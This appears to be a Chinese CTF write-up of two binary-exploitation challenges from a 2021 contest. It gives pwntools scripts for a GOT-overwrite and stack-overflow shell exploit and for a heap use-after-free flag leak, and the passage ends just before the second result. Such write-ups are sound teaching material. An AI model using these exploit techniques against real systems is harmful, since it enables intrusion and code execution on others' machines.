陇原战“疫“2021网络安全大赛 bbbaby和Magic

原创

yj@pwn 于 2021-11-17 17:06:47 发布 189 收藏
文章标签： pwn

一、bbbaby

首先对程序进行分析，程序较为简单，提供了修改地址内容和输入任意大小内容的功能，存在栈溢出的可能。

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+Ch] [rbp-114h]
  char v5; // [rsp+10h] [rbp-110h]
  unsigned __int64 v6; // [rsp+118h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  sub_400766(a1, a2, a3);
  puts("^_^");
  while ( 1 )
  {
    while ( 1 )
    {
      puts("your choice");
      v4 = sub_4007C7();
      if ( v4 )
        break;
      modify_address();
    }
    if ( v4 != 1 )
      break;
    add_content(&v5);
  }
  return 0LL;
}
```



```
ssize_t sub_40086C()
{
  int v0; // ST0C_4

  puts("address:");
  v0 = sub_4007C7();
  puts("content:");
  return read(0, (void *)v0, 8uLL);
}
```

```
ssize_t __fastcall sub_4008BB(void *a1)
{
  unsigned int nbytes; // ST1C_4

  puts("size:");
  nbytes = sub_4007C7();
  puts("content:");
  return read(0, a1, nbytes);
}
```


因为事情多，就看了眼题，最开始我想使用利用栈溢出再使用chk_stack_fail泄露出libc版本信息，虽然成功打印出libc地址但是已经退出了程序。参考了大佬陇原战疫2021网络安全大赛-pwn-wp - LynneHuan - 博客园，

后面的思路为首先利用提供的修改地址内容的功能，将chk_stack_fail的got地址修改为puts的plt地址，然后通过栈溢出覆盖程序返回地址，利用puts函数泄露出libc地址，然后将atoi的got地址修改为system的地址，然后输入‘/bin/sh\x00’，即执行system('/bin/sh\x00')

```
from pwn import *
def add_content(size,content):
    sh.sendlineafter('choice\n',"1")
    sh.sendlineafter('size:\n',str(size))
    sh.sendafter('content:\n',content)

def add_address(address,content):
    sh.sendlineafter('choice\n',"0")
    sh.sendlineafter('address:\n',str(address))
    sh.sendafter('content:\n',content)

context.log_level = 'DEBUG'
sh = process('./pwn1')
elf = ELF('./pwn1')
libc = ELF('./libc-2.23.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
chk_fail = elf.got['__stack_chk_fail']
content_addr = 0x00000000004008BB
address_addr = 0x000000000040086C
add_address(chk_fail,p64(puts_plt))
payload = 'a'*0x118+p64(0x0000000000400a03)
payload+= p64(puts_got)+p64(puts_plt)
payload+= p64(address_addr)+p64(content_addr)
add_content(0x1000,payload)
sh.sendlineafter('choice\n','2')
leak_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
sh.sendline(str(atoi_got))
sh.sendafter('content:\n',p64(system_addr))
sh.sendline('/bin/sh\x00')
sh.interactive()
```

最后成功获得shell。

```
your choice\n
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x11 bytes:
    00000000  0a a0 06 0f  3d 3a 7f 0a  61 64 64 72  65 73 73 3a  |····|=:··|addr|
    00000010  0a                                                  |·|
    00000011
[DEBUG] Sent 0x8 bytes:
    '6295616\n'
[DEBUG] Received 0x9 bytes:
    'content:\n'
[DEBUG] Sent 0x8 bytes:
    00000000  a0 63 0c 3d  3a 7f 00 00                            |·c·=|:···|
    00000008
[DEBUG] Sent 0x9 bytes:
    00000000  2f 62 69 6e  2f 73 68 00  0a                       |/bin|/sh·|·|
    00000009
[*] Switching to interactive mode
[DEBUG] Received 0x6 bytes:
    'size:\n'
size:
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x20 bytes:
    'core  libc-2.23.so  pwn1  yj.py\n'
core  libc-2.23.so  pwn1  yj.py
$
```


二、Magic

经典堆的题目，分析程序，分支比较多，但是实现功能也就那几个

第一个功能为search功能，就是简单的创建一个块，大小固定为0x70

```
  }
  while ( v3 != 2025395032 );
  heap_list[v4] = malloc((unsigned int)size);
  return puts("Search finished");
}
```


第二个功能为magic功能，对创建的0x70大小的块进行赋值，并且打印出该内容

```
int magic()
{
  signed int v0; // eax
  signed int v1; // eax
  signed int v3; // [rsp+2Ch] [rbp-14h]
  unsigned int v4; // [rsp+30h] [rbp-10h]

  puts("Input the idx");
  v4 = sub_DB0();
  v3 = 655206826;
  while ( v3 != -1390305975 )
  {
    if ( v3 == -442473790 )
      sub_AC0("Illegal");
    if ( v3 == 314989275 )
    {
      v1 = -442473790;
      if ( heap_list[v4] )
        v1 = -1390305975;
      v3 = v1;
    }
    else if ( v3 == 655206826 )
    {
      v0 = 314989275;
      if ( v4 >= dword_202090 )
        v0 = -442473790;
      v3 = v0;
    }
  }
  puts("Input the Magic");
  read(0, heap_list[v4], (unsigned int)size);
  return printf("Magic> %s <Magic\n", heap_list[v4]);
}
```


第三个功能为remove，就是把申请的块释放掉，但没有将指针置0，存在UAF

```
        }
      }
    }
  }
  free(heap_list[*v24]);
  result = puts("remove the Magic");
  v9 = result;
  return result;
}
```


关键函数，将flag读取并储存在一个堆中

```
int flag()
{
  FILE *stream; // ST20_8
  const char *v1; // rax
  char *s; // ST18_8
  int v3; // eax
  int v4; // ST2C_4

  stream = fopen("/flag", "r");
  v1 = (const char *)malloc((unsigned int)nbytes);
  s = (char *)v1;
  v3 = strlen(v1);
  v4 = (unsigned __int64)read(3, &s[v3], (unsigned int)nbytes) + v3;
  return fclose(stream);
}
```


很明显0x110大小的堆块中就存储了flag中的内容（这里是本地测试自己建立的flag）

```
pwndbg> heap
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555757000
Size: 0x231
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x555555757230
Size: 0x110

Top chunk | PREV_INUSE
Addr: 0x555555757340
Size: 0x20cc1

pwndbg> x/10xg 0x555555757230
0x555555757230: 0x0000000000000230      0x0000000000000110
0x555555757240: 0x6161617b67616c66      0x6161616161616161
0x555555757250: 0x6161616161616161      0x6161616161616161
0x555555757260: 0x000a7d6161616161      0x0000000000000000
0x555555757270: 0x0000000000000000      0x0000000000000000
```


思路比较简单，我们只要伪造一个chunk头，利用UAF漏洞，分配到伪造的chunk，然后利用magic功能打印出flag。

```
from pwn import *

def add(idx):
    sh.sendlineafter('choice: \n','1\n\n')
    sh.sendlineafter('Input the idx\n',str(idx)+'\n\n')

def edit(idx,content):
    sh.sendlineafter('choice: \n','2\n\n')
    sh.sendlineafter('Input the idx',str(idx)+'\n\n')
    sh.sendafter('Input the Magic\n',content)

def delete(idx):
    sh.sendlineafter('choice: \n','3\n\n')
    sh.sendlineafter('Input the idx',str(idx)+'\n\n')
context.log_level = 'DEBUG'
sh = process('./Magic')
#sh = remote('node4.buuoj.cn',25261)
add(0)
add(0)
add(0)
add(0)
add(1)
edit(1,p64(0)*3+p64(0x71))
delete(1)
delete(0)
edit(0,'\xe0')
add(0)
add(0)
edit(0,'a'*0x50)
sh.interactive()
```

程序运行结果为